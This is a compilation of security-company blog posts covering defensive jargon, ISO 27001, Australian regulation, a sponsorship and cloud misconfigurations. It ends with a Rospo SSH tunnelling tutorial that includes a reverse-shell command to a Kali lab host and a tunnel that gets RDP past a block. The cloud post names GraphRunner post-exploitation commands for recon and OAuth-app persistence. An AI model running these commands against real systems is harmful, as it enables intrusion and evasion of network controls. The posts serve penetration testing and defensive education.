• Your shield in Cyber Security

Cyber language – a high level guide to understanding common jargon in Defensive Services

Cyber security has become laden with jargon and terminology, often understood only by a handful of professionals and experts. With the intense interest in cyber security over the past few years, we have seen a corresponding increase in the introduction and, therefore misinterpretation of commonly used security terms.

One domain this is particularly cumbersome is in the Security Operations or Defensive Services domain.  We recognise this challenge at Ionize, so we have set about helping build a common lexicon for consumers and providers alike to speak the same language, improve clarity, and reduce ambiguity.

We have found people are using terms such as MDR, SOC, SIEM interchangeably. This makes discussing, planning and aligning a cyber capability uplift difficult.  The development and promulgation of  a common cyber language helps alleviate confusion.

Managed Detection and Response (MDR) describes the final service that is delivered. We refer to managed because it is a managed service, delivered by a skilled and experienced cyber security service provider. The references to detection and response  aligns with the National Institute of Standards and Technology (NIST) Cyber Security Framework (CSF) domains that the service covers.

This term is often used interchangeably with SOC, SIEM, SOC as a Service (SOCaaS) or SIEMaaS.

A Security Operations Centre (SOC) is the physical facility from which the service is delivered.  But why are we talking about a physical facility in the age of work from home? This is because some clients have strict security requirements for the management of their information and systems. These strict security requirements do not preclude SOC analysts and engineers working from home; they just require a secure solution with which to access the MDR related infrastructure. Ionize maintains a PROTECTED SOC facility to meet Australian government security requirements. However, not all clients require this.  The Ionize SOC operates 24x7x365 with a true “eyes-on-glass” service where our analysts monitor activity for our clients on a continuous basis. Learn more here.

Endpoint Detection Response (EDR) software resides in the desktops, laptops and servers, which are designed to detect, facilitate, and ultimately prevent a cyber security event—often referred to as a breach. EDR is great when you can identify and control the endpoints in your network. If that is not the case, then EDR may not help you achieve your cyber security objective.

Network Detection Response (NDR) is hardware/software that monitors network traffic, detects, and prevents malicious activity passing through the network. NDR is great when you are unable to  identify or control the endpoints in your network.

Extended Detection Response (XDR) software is the natural adaptation of EDR into a cloud first world, with a focus on Response. Most modern networks are hollowed out of infrastructure with most functionality residing  in cloud services (e.g., M365, Google Workspace, etc). This means that the endpoint has extended into the cloud and interactions with these services are included in the detection and response. The XDR tools also provide greater incident response capability through improved workflows. This is a response to the increase in network compromises and the effort required by security analysts to respond to them.

Security Incident and Event Management (SIEM) software is a log/event collection, search, and correlation capability. SIEM technology emerged in response to the growing size and complexity of networks, and the growing need to trace and compare results across system logs.

Contrary to popular belief, a SIEM is not required for an MDR service. It helps, but an MDR service refers to the function performed, not the tools used. A SIEM will certainly help improve the quality and coverage of an MDR service but ultimately is not required.

Security Orchestration and Automated Response (SOAR) technology is, again, a natural and evolutionary response to the increase in cyber threats and compromises. A SOAR capability is configured to detect a malicious activity and automatically respond or orchestrate a response to the activity. Increasingly, the line between SIEM and SOAR is blurred as  SIEM technology incorporates SOAR capabilities.

Summary

This piece provides an initial high-level overview of the use of common jargon, and what they mean in some detail.  A follow-up piece will be developed addressing the name of the tech, what it does, common use cases, and leading vendors of that tech. Stay tuned.

For comments and questions, drop us an email at info@ionize.com.au.

Follow us on LinkedIn for weekly insights: https://www.linkedin.com/company/ionize

Stay Up to Date

Latest News

ISO 27001 Compliance: The 2025 Deadline and What You Need to Know

ISO27001 is a global standard for Information Security Management Systems (ISMS) that offers a framework for managing an organisation’s information assets. Published by the International Organization for Standardization (ISO), it aims to ensure the confidentiality, integrity, and availability of information within your organisation.

In 2022, ISO updated the framework from the 2013 version, setting a crucial deadline for compliance by October 31, 2025. If your organisation is accredited under the 2013 version, here’s a heads-up! You have just four months left to update, assess, and re-accredit to the new standard before your current certification expires.

Why the Change?

The reason for the update is straightforward. As more businesses adopt digital platforms and services, the threats to information security have increased. To better reflect current business practices, ISO has streamlined the compliance guidelines and expanded on risk management and organisational operations.

Key Changes

Here are the main updates:

  • Streamlined Control Areas: The framework now groups controls into four main areas instead of the previous 14:
    • People
    • Organisational
    • Physical
    • Technological
  • Reduced Number of Controls: The number of controls has been reduced from 114 to 93. However, many controls have been merged or altered, and 11 new controls have been added.
  • New Attributes: The framework now includes attributes to better align with modern terminology, such as:
    • Control type
    • Information security properties
    • Cybersecurity concepts
    • Operational capabilities
    • Security domains

What Do You Need to Do?

Updating to the new standard involves revisiting your policies and procedures. If you already have ISO27001:2013 accreditation, you’re familiar with the process. Here’s a broad outline of what you need to do:

  1. Gap Analysis: Compare the new requirements with your current implementation to identify areas that need updating.
  2. Update Policies: Revise your policies to align with the new terminology and classifications.
  3. Implement Controls: Add the required controls, document them, and ensure your evidence-gathering processes are robust.
  4. Communicate Changes: Inform all staff who interact with the ISMS about the updates to ensure continuous improvement.

Next Steps

After making the necessary updates, conduct an internal audit to verify compliance. This is a critical step before coordinating with an external auditor for certification assessment. An internal audit helps demonstrate that continuous improvement processes are in place.

If you have checked all the boxes, you are ready to schedule an external audit to achieve ISO27001:2022 compliance!

However, if you need assistance with your internal audit or need to update your policies and procedures and need expert help, we are here to assist. Whether you’re new to ISO27001 or looking to update your accreditation, Ionize can help guide you through the process.

Stay Up to Date

Latest News

Ionize 2025 Cyber Security Update

Welcome to 2025!

2024 was a busy year in the cyber realm, with 2025 already shaping up to be more of the same.  With that in mind, Ionize is pleased to provide this overview of key cyber developments as 2025 begins.

Some of the key changes in the legislative and regulatory landscape that were paved in 2024 and will dominate 2025 include:

  • Cyber Security Act 2024 – This legislation introduced several key measures requiring action, including:
  • Privacy Act amendments introduced stricter data protection measures, including:
    • a Statutory tort for serious invasions of privacy where the conduct was intentional or reckless;
    • the introduction of a criminal offence for doxing; and
    • eligible data breach declarations and information sharing.
  • For organisations operating critical infrastructure, there were Security of Critical Infrastructure Act amendments which broadened the definition of critical infrastructure to include data storage systems tied to critical assets. This expanded the Government’s ability to intervene during severe incidents to:
    • increase Government powers to manage the consequences of incidents;
    • enable Government to direct entities to address serious deficiencies in their risk management programs; and
    • simplify information sharing across industry and Government.
  • For organisations servicing Australian Government, the Australian Government Information Security Manual (ISM) changes in December 2024 focused on:
    • maintaining an organisational system register;
    • handling malicious software safely;
    • expanding security controls to non-classified systems;
    • expanding logging and monitoring requirements; and
    • updates to cryptographic algorithms and key sizes.
  • Further to the ISM changes, the Protective Security Policy Framework changes were released on 1 November 2024:
    • The most significant change to the PSPF is the move away from Maturity Levels back to a compliance-based framework, changing recommended guidance to mandatory compliance activities; and
    • The number of policies has been expanded from 16 to 25 and the number of controls from 60 to 211. However, rather than a significant expansion of responsibilities, controls and requirements, certain domains and policies have been split to enhance clarity and to refine compliance activities.
  • For organisations servicing Defence, the Defence Industry Security Program (DISP) flagged changes to uplift the requirement for Essential 8 Maturity Level 1, to Maturity Level 2. These changes require a significant technology and process uplift.

In the operational cyber context, Australia continues to be targeted by very active issue motivated cyber threats groups such as RipperSec, DXPLOIT and many others. Further to this, Australia (through the ACSC) and our other 5-eyes partners attributed supply chain and living off the land cyber-attacks to Russia and the PRC respectively, indicating a growing concern about coordinated cyber-attacks against Australian interests and Western democracies more broadly.  During 2024 the Ionize Hunting Analysis and Warning Centre (HAWC), through our 24×7 eyes on glass monitoring, provided frequent unsolicited notifications to clients and partners of threat actor activities and their criminal intentions to harm.

We have seen the most common cyber-attack methods continue to be compromised account credentials for both government and critical infrastructure organisations, while email compromise was the most common attack vector for business. HAWC has observed the constant evolution of phishing vectors and techniques to be the initial point of compromise, whether through direct code execution or theft of credentials.

The self-reported cost of cybercrime for 2024 was:

  • small business: $49,600
  • medium business: $62,800
  • large business: $63,600.

Ionize’s incident response experience indicates that these numbers are understated and probably only represent the direct response action to the incidents, not the ongoing remedial actions required which are often significantly higher.

In short, the legislative and regulatory environment is responding to the increasing cyber threat level, requiring organisations to uplift their cyber resilience and pave the way for the Federal Government’s to intervene when required. Addressing the legislative, regulatory and operational cyber controls has now become the base cost of doing business.

Please contact us if you’d like to discuss any aspect of these changes in the cyber domain. Our team would be pleased to delve deeper into those facets and issues that are of most concern to your organisation and what clear actions can be taken to reduce the risk of a cyber incident.

We look forward to supporting you through 2025 and beyond.

Stay Up to Date

Latest News

Ionize Partnership with Paralympics Australia

Paralympics Australia Partners With Top Cyber Security Firm

Paralympics Australia and cyber security provider Ionize have announced a new partnership that will provide Paralympics Australia with the best possible protection from online attack.

The Canberra-headquartered security provider, which delivers operational, testing and consultancy services, adds to Paralympic Australia’s partner suite as an Official Supporter.

Paralympics Australia CEO (interim) Cameron Murray said his organisation held personal, professional and corporate data that required optimal safeguarding.

“We are extremely conscious of the need to secure our corporate data and information and to protect our athletes and other supporters from the threat of a cyber-attack or data breach,” Mr Murray said.

“We want all our athletes, stakeholders, donors and others to know that our organisation takes the protection of their information very seriously and we will do whatever we can to minimise the chances of a breach.

“We are reassured with Ionize behind us, not only because of their around-the-clock monitoring of threats, but also their ongoing support to ensure compliance with key cyber security frameworks.”

Ionize already supports Paralympics Australia with regular desktop-based scenario training and effective response planning.

“This partnership provides Paralympics Australia with peace of mind, knowing our online environment and that of our athletes is being constantly monitored against cyber threats and those who may wish to do us harm,” Mr Murray said.

“We look forward to working with Ionize over the coming years continuing to build our cyber security capability and procedures.”

CEO and Founder of Ionize Andrew Muller is delighted by this new partnership and the trust placed in Ionize to keep Paralympics Australia cyber safe.

“Every day we see a broad range of cyber criminals attempt to steal data and information from organisations around Australia, and in many cases these attempts are successful.  As we have all seen, a successful data breach can cause great pain to everyday Australians and do significant damage to the reputation of the organisations these criminal’s breach.”

Mr Muller went on to say “this new partnership with Paralympics Australia enables Ionize to deploy our highly skilled cyber security professionals and the state-of-the-art technology they use to monitor and protect Paralympics Australia, our exceptional paralympic athletes and their supporters around the clock.  Our sovereign capability, our exceptional team and our values-based approach to cyber security now places Paralympics Australia in safe hands where Ionize will always have their back.”

Ionize is the Official Cyber Security Provider to Paralympics Australia and Official Cyber Security Supporter of the 2024/2026 Australian Paralympic Team.

Stay Up to Date

Latest News

Cloud Misconfigurations

Cloud Misconfigurations

The cloud is heavily integrated into, if not the sole provider for, almost all services consumed on the internet today. This post briefly covers the current cloud marketplace background, and then looks at some of the red team tooling used, including an occasional meme and pop culture reference to take the edge off what may be a boring topic.

In true consultancy form, there are some remediations and recommendations to take away from this as well.

This blog is loosely structured to be broad initially, stating many well-known or accepted observations and anecdotes, becoming more technical as it progresses.

Don’t be concerned to leave off at any point, or skip to the parts further down, it is almost certain that one half has your type of content, the other doesn’t and the impact of reading only half is very low.

Die Wolke (The Cloud)

This is the cloud, there are many like it, but this one is not yours, it’s everyone’s and it’s everywhere. Without the cloud you are useless, you must use the cloud. You must use it better than your adversary who is trying to breach you. You must secure it before they hack you.

If life imitates art, does that mean something bad is coming for Gunnery Sergeant Microsoft? Microsoft Cloud revenue in 2023 was over $111 US billion, accounting for more than 50% of their total revenue for 2023 and a 22% increase from FY 202212. The recruits (clients) are not about to exit the cloud due to security concerns; the cloud is here to stay.

Cloud tenancies, be it Microsoft, AWS, or Google, have several baseline controls around users for security that are considered a ‘must’. These are simple at first look but grow considerably more complex as you implement controls. The larger the organizational structure, the harder it is to maintain a secure posture. Least privilege is an example of this, for a few users its simple, but in a large complex organization the privilege creep is real and trying to constrain privileges scales poorly.

The effort required to create, maintain, and enforce a policy for least privilege is significant. Frequently auditing user accounts and related privileges at scale may only be possible with automated tools. Failing to ensure users only have required privileges assigned to relevant accounts quite often leads to breaches that have significant impact.

Microsoft’s experience with Midnight Blizzard in Late 2023, early 2024 shows exactly that5. This breach was due to ‘a legacy non-production test tenant account’ but the account had permissions to somehow access ‘a very small percentage of Microsoft corporate email accounts’ which included a seemingly large number of departments from senior leadership, cybersecurity, legal and more.

The test account which should have no ability to access production, led to a significant problem due to the privileges assigned to that account. What other accounts or assets are languishing, forgotten by policy or ignored because they are ‘DMZ’, ‘test’ or otherwise.

One of the first rules of security is to know what you have in the way of assets. This used to be based on purchased hardware and software, a relatively direct equation. From this asset and inventory, you could work out what you had to manage, patch and update. With cloud tenancies there is a wider range of intangible items, software, applications, configuration, storage.

Remember when the default for S3 was open buckets? It was only set to default-block for new buckets in April 20231. Prior to this, S3 buckets with private files (based on sensitivity of content and expectation of user) but unfortunately set to public access, routinely appeared in the news headlines as the source of a data breach.

Configuration options for cloud are intended to make materials sharable, collaborative, and accessible to select parties. The likelihood of misconfiguring a multi-Tenant environment or a SharePoint Online site resulting in a data spill is not low.

Guides such as the Center for Internet Security (CIS) Microsoft 365 Foundations Benchmark2 and tools such as the Cybersecurity and Infrastructure Security Agency (CISA) Secure Cloud Business Applications (SCuBA)3 are good to get a handle on the current best practices and to help you and your organization conduct an audit for security controls against your Microsoft tenancy. These documents establish standards and can help to produce reports. The CISA SCuBA tool, can be run with credentials of a Microsoft Tenancy, and produce a report in an HTML formatted output, which also provides hyper-links to details for each of the controls it reports against. This can be used effectively and quickly, to assess the standing of your tenancy.

Some of those highlighted configurations, if found to be in a lax state, are worth taking time to correct urgently.

  • Legacy Authentication
  • MFA options for privileged users
  • Teams external contacts
  • Highly Privileged User Access
  • Consent to Applications

This user environment is only part of the picture when it comes to cloud breaches. Other services are used to store data but are not a direct user resource, such as Amazon Web Services (AWS) S3 buckets, Microsoft’s Azure Blob Storage and Google Cloud storage. These organizations have a market share of 32% for AWS, 23% for Azure and 10% for Google, the remainder being other companies, based on 2022 research4. The data stored in these locations also forms a type of asset that requires inventory and maintenance.

Who has access to these platforms, the storage buckets, the tenancies, applications, who’s account has privileges that let them do actions that may be more than they need and how do you find and fix these things?

A Penetration Testers Perspective:

Figure 1.  Team Scoping Meeting

“Microsoft Graph is a RESTful web API that enables you to access Microsoft Cloud service resources.”

An increasing number of cloud penetration test tools, rely on Microsoft Graph API. A recent release of a Command and Control (C2) tool, created by the USA based company Red Siege, backed their reasoning for creating the tool off the number of threat actors using the Graph API, a sound rationalisation. The tool is called GraphStrike and is available on GitHub. This extends on the C2 tool Cobalt Strike, by creating an HTTPS beacon over the Microsoft Graph API. This fits in as a post-compromise activity, once a user credential set has been breached, an attacker will go about setting up C2 communications, creating persistence mechanisms and gaining additional privileges. The GraphStrike tool sends data out from a compromised host over to graph.microsoft.com before being forwarded to the C2 server which is controlled by the attacker and issues the command and control. The advantage of doing this, is that a Microsoft subdomain looks far more trustworthy than a strange subdomain communicating at suspicious frequency periods. You are logging and analysing your traffic for strange things, correct?

The privileges attached to an account, even a basic users account, are critically important for an attacker to identify, the aim for more persistent threats being to establish C2. Equally it is therefore important for an organization to have a clear view on privileges in an environment. Often your ability to control account privileges in a large enterprise comes from having strong, clearly defined policy, implemented when an account is created and any time a change is made to an account. This should include clear offboarding steps for users when they depart.

A legacy authentication (No MFA) accessible account with no active user to report suspicious system behaviour would be very attractive to any attacker as an initial access vector. Once on this dormant account the attacker may use a tool such as GraphRunner, another tool freely available on GitHub, created by Black Hills Information Security. This tool is not a C2 related product but is a post-exploitation tool.

GraphRunner leverages PowerShell and an account with tenancy access, to complete a device authentication flow. Once that authentication flow is complete the tool has many built in commands to enumerate where the account has access to, using the Microsoft Graph API.

Figure 2. Initializing the GraphRunner Tool with Device Authentication against a Dev365 Tenancy

Figure 3. Completion of the Authentication and Note the Token Expiration Can be Extended.

Using Invoke-GraphRecon -Tokens $tokens we can explore what our account has permissions to do, in this case we have used a privileged user, however lower privileged accounts may have less to work with. The expiry of a token can be refreshed with Invoke-RefreshGraphTokens

Figure 4. Query Using the Broad Recon Command Invoke-GraphRecon

Figure 5. Some Policy Information Returned

Figure 6. User Access Rights Returned

Some of these User Settings and Policy Information results indicate that a high number of avenues are available. The field Users Can Consent to Apps: true implies that a user will be able to grant access to an application to be added to the tenancy, which can be beneficial to an attacker8, 9. A tool like GraphRunner can abuse this with a simple function Invoke-InjectOAuthApp to add an application to the tenancy and persist access through various state changes such as user password change and session expiry, using the app tokens. Fortunately, Microsoft provides advice on remediating illicitly granted applications10. If this feature is not required by an organisation, the feature for user consent to allow applications should be disabled. If it is required, then consenting by users for applications to access the organisation should require administrator approval.

Figure 7. Some Consent Options for Applications

The CISA tool SCuBA will report on such a configuration as seen below. Additionally, the SCuBA report embeds links to resources to aid understanding of the issue.

Figure 8. CISA SCuBA Audit Result for Applications Consent

Once an attacker understands what options exist on the compromised account, such as consenting to applications, the attacker can leverage this to grant themselves further access to things like sharepoint files as guest, persistence through app granting or privilege escalation through adding themselves to other groups, all this depends on the rights the compromised user has. Do your account management policies and processes cover how to manage each of these permissions?

Takeaway Points

  • Use templates such as CIS Benchmarks as a reference model for a mature cyber security posture.
  • Use tools such as CISA SCuBA and Graphrunner to gain visibility over your current configuration.
  • Consider that C2 tools can use Microsoft cloud infrastructure to establish legitimate looking network connections.
  • Understand that the tools mentioned in this article can be used together, stand alone, or not at all, don’t rely on the detection of any one thing for the defense of your important data and networks.
  • Legacy authentication, missing MFA, assets, permission and privileges are all important aspects that you need to have perspective and visibility into.
  • The cloud is a Stanley Kubrick film, full of horror scenes, but highly acclaimed as a masterpiece.

References

  • (13 Dec, 2022) Advanced notice: Amazon S3 will automatically enable S3 block public … Available at: https://aws.amazon.com/about-aws/whats-new/2022/12/amazon-s3-automatically-enable-block-public-access-disable-access-control-lists-buckets-april-2023/ (Accessed: 22 December 2023).
  • CIS Microsoft 365 Benchmarks, CIS. Available at: https://www.cisecurity.org/benchmark/microsoft_365 (Accessed: 30 January 2024).
  • Secure Cloud Business Applications (SCUBA) project: CISA, Cybersecurity and Infrastructure Security Agency CISA. Available at: https://www.cisa.gov/resources-tools/services/secure-cloud-business-applications-scuba-project (Accessed: 30 January 2024).
  • Zheldak, P. (2024) AWS vs azure vs GCP [2024 cloud comparison guide], AWS vs Azure vs GCP [2024 Cloud Comparison Guide]. Available at: https://acropolium.com/blog/adopting-cloud-computing-aws-vs-azure-vs-google-cloud-what-platform-is-your-bet/ (Accessed: 30 January 2024).
  • (January 19, 2024) Microsoft Actions Following Attack by Nation State Actor Midnight Blizzard https://msrc.microsoft.com/blog/2024/01/microsoft-actions-following-attack-by-nation-state-actor-midnight-blizzard/ (Accessed: 29 January 2024).
  • GraphStrike: Using Microsoft Graph API to make beacon traffic disappear, redsiege.com. Available at: https://redsiege.com/blog/2024/01/graphstrike-release/ (Accessed: 30 January 2024).
  • GraphStrike: Anatomy of Offensive Tool Development, redsiege.com. Available at: https://redsiege.com/blog/2024/01/graphstrike-developer/ (Accessed: 30 January 2024).
  • RatulaC, Compromised and malicious applications investigation, Microsoft Learn. Available at: https://learn.microsoft.com/en-us/security/operations/incident-response-playbook-compromised-malicious-app (Accessed: 30 January 2024).
  • Dansimp, App Consent grant investigation, Microsoft Learn. Available at: https://learn.microsoft.com/en-us/security/operations/incident-response-playbook-app-consent#what-are-application-consent-grants (Accessed: 30 January 2024).
  • CISA releases Microsoft 365 Secure Configuration Baselines and scubagear tool: CISA (2024) Cybersecurity and Infrastructure Security Agency CISA. Available at: https://www.cisa.gov/news-events/alerts/2023/12/21/cisa-releases-microsoft-365-secure-configuration-baselines-and-scubagear-tool (Accessed: 30 January 2024).
  • Dafthack/graphrunner: A post-exploitation toolset for interacting with the microsoft graph api, GitHub. Available at: https://github.com/dafthack/GraphRunner (Accessed: 30 January 2024).
  • Microsoft annual report 2023 (Oct 16, 2023) Microsoft 2023 Annual Report. Available at: https://www.microsoft.com/investor/reports/ar23/index.html (Accessed: 31 January 2024).

Bibliography

  • CISA releases Microsoft 365 Secure Configuration Baselines and scubagear tool: CISA (2024) Cybersecurity and Infrastructure Security Agency CISA. Available at: https://www.cisa.gov/news-events/alerts/2023/12/21/cisa-releases-microsoft-365-secure-configuration-baselines-and-scubagear-tool (Accessed: 30 January 2024).
  • Cisagov () CISAGOV/ScubaGear: Automation to assess the state of your M365 tenant against Cisa’s baselines, GitHub. Available at: https://github.com/cisagov/ScubaGear (Accessed: 30 January 2024).
  • A hole in the bucket: The risk of public access to Cloud native storage (2023) YouTube. Available at: https://youtu.be/8IkLG60b7ec (Accessed: 30 January 2024).
  • RedSiege (Jan 2024) Redsiege/GraphStrike: Cobalt strike HTTPS beaconing over Microsoft Graph API, GitHub. Available at: https://github.com/RedSiege/GraphStrike (Accessed: 30 January 2024).

Stay Up to Date

Latest News

SSH Tunnelling with Rospo

SSH Tunnelling: A Brief Overview

SSH (Secure Shell) tunnelling is a method used to create an encrypted connection between a client and a server, allowing secure data transfer over an otherwise insecure network. It encapsulates the data in a secure shell SSH protocol, safeguarding it from potential eavesdropping, tampering, or interception.

At its core, SSH tunnelling establishes a secure channel over an unsecured network, ensuring the confidentiality and integrity of transmitted data. This technique is particularly useful in scenarios where sensitive information needs to traverse through potentially compromised networks, such as the internet.

The Benefits of SSH Tunnelling

  1. Data Encryption SSH tunnelling encrypts data transmissions, preventing unauthorized access to sensitive information.
  2. Network Security By creating a secure channel, SSH tunnelling mitigates the risks associated with unsecured networks, such as public Wi-Fi hotspots.
  3. Bypassing Restrictions SSH tunnelling can circumvent network restrictions imposed by firewalls or censorship, enabling access to restricted resources.
  4. Secure Remote Access It facilitates secure remote access to services like databases, file servers, or internal systems, enhancing productivity without compromising security.

 

Rospo: Persistent SSH Tunnelling

As all Testers and professionals would understand, the frustration of network dropouts and outages can cause the pulling of hair, smashed keyboards and even a thrown mouse if in an Offsec Exam.

With Rospo, the service will track and monitor network service and will continually attempt to reconnect the tunnel until successful again. What a win! Just like the Picasso image below, Rospo will continue hammering at the tunnel until a successful connection is established again!

Key Features of Rospo:

  1. Ease of use: Rospo offers an easy-to-use cli, with help options and example commands.
  2. Multi-Platform Support Whether you’re operating on Windows, macOS, or Linux, Rospo has you covered, ensuring seamless integration across diverse environments.
  3. Flexible Configuration With Rospo, users have granular control over tunnel configurations, allowing them to tailor settings according to their specific requirements.
  4. Dynamic Port Forwarding Rospo allows dynamic port forwarding, enabling users to securely access services hosted on remote servers with ease.
  5. Logging and Monitoring Rospo provides comprehensive logging and monitoring capabilities, empowering users to track tunnel activity and diagnose potential issues efficiently.

How to Get Started with Rospo:

Getting started with Rospo is ez pz. Simply head over to the GitHub repository, download the latest binary corresponding to your operating system, and you’re ready to rock and roll!

To get started with Rospo, you need to create SSH keys if not already made. For examples I will be using a Windows machine as the server, and a Kali machine for the client. On the Windows machine, open up a CMD or PowerShell prompt and use the command:

ssh-keygen -t rsa

Next, we need to put the id_rsa.pub onto the Kali machine.

Place it in the authorized_users file of the kali.

Now let’s start the ssh of the Kali machine:

sudo systemctl start ssh

Let’s try to SSH into the Kali now:

ssh kali@192.168.146.130

As Borat would say, Great Success!

Now we have access backwards, let’s set up Rospo to create a SSH tunnel that will continue through outages.

We create a reverse connection to our kali using the command:

.\rospo-windows-amd64.exe revshell kali@192.168.146.130:22 -T

Now to connect to it, we use on the kali:

ssh 127.0.0.1 -p 2222

Great Success! Let’s see what happens in a network outage.

As you can see, its monitoring picks up on the network termination and continuously tries to reconnect.

Let’s turn the network back on and see if it reconnects itself.

Nice it reconnected!

Now let’s see what else it can do, maybe create a secure tunnel for a Remote Desktop Connection?

As you can see, RDP is currently blocked for use. Let’s start-up Rospo with:

.\rospo-windows-amd64.exe tun reverse -l :3389 -r :3389 kali@192.168.146.130:22

Nice, the tunnel is now set!

We try and RDP in now.

Still denied? Thats because Rospo uses the SSH tunnel to proxy traffic to the RDP protocol, not directly open the protocol or port itself.

Rospo proxies the traffic into the client machine aka our Kali machine as shown below.

To connect we just need to run:

Remmina -c rdp://127.0.0.1

We now have a secure tunnel to RDP into our Windows machine!

Conclusion: Be like Borat, Have Great Success!

By leveraging tools like Rospo, users can persist with secure connections, use protocols such as RDP without opening the port to the wild and pwn those boxes without losing progress whenever the box blinks. Have fun, stay safe and get gud!

 

 

Stay Up to Date

Latest News